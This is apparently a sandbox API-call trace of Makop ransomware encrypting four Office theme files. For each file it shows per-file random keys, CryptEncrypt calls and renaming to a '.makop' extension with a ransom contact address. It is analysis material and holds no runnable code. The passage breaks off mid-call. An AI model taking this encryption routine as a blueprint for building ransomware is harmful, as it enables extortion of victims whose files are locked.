| out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0161.124] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml") returned 76 [0161.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.125] GetProcessHeap () returned 0x48a0000 [0161.125] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.125] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0161.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.129] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.129] GetProcessHeap () returned 0x48a0000 [0161.129] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.129] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.129] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.131] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.131] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe2a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe2a, lpOverlapped=0x0) returned 1 [0161.131] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30, dwBufLen=0xe30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30) returned 1 [0161.131] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe30, lpOverlapped=0x0) returned 1 [0161.131] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.131] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.132] SetEndOfFile (hFile=0xf0) returned 1 [0161.137] GetProcessHeap () returned 0x48a0000 [0161.137] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.137] GetProcessHeap () returned 0x48a0000 [0161.137] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.138] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0161.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.139] CloseHandle (hObject=0xf0) returned 1 [0161.139] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0161.139] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml") returned 75 [0161.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.140] GetProcessHeap () returned 0x48a0000 [0161.140] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.140] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0161.146] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.146] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.146] GetProcessHeap () returned 0x48a0000 [0161.146] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.146] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.146] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.146] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.147] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.147] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.147] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.148] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.148] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeed, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xeed, lpOverlapped=0x0) returned 1 [0161.148] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xef0, dwBufLen=0xef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xef0) returned 1 [0161.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xef0, lpOverlapped=0x0) returned 1 [0161.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.148] SetEndOfFile (hFile=0xf0) returned 1 [0161.155] GetProcessHeap () returned 0x48a0000 [0161.155] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.155] GetProcessHeap () returned 0x48a0000 [0161.155] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.155] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0161.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.156] CloseHandle (hObject=0xf0) returned 1 [0161.156] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0161.156] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml") returned 74 [0161.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.157] GetProcessHeap () returned 0x48a0000 [0161.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.157] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.158] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0161.161] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.161] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.161] GetProcessHeap () returned 0x48a0000 [0161.161] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.162] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.162] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.162] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.162] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.162] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.162] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.162] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.163] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.163] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.163] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe13, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe13, lpOverlapped=0x0) returned 1 [0161.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.163] SetEndOfFile (hFile=0xf0) returned 1 [0161.169] GetProcessHeap () returned 0x48a0000 [0161.169] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.169] GetProcessHeap () returned 0x48a0000 [0161.169] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.169] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0161.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.171] CloseHandle (hObject=0xf0) returned 1 [0161.171] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0161.171] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml") returned 75 [0161.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.174] GetProcessHeap () returned 0x48a0000 [0161.174] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.174] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.174] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0161.178] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.178] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.178] GetProcessHeap () returned 0x48a0000 [0161.178] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.178] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.179] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.179] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.180] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.180] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.180] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe05, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe05, lpOverlapped=0x0) returned 1 [0161.180] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10, dwBufLen=0xe10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10) returned 1 [0161.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe10, lpOverlapped=0x0) returned 1 [0161.180] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.181] SetEndOfFile (hFile=0xf0) returned 1 [0161.187] GetProcessHeap () returned 0x48a0000 [0161.187] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.187] GetProcessHeap () returned 0x48a0000 [0161.187] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.187] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 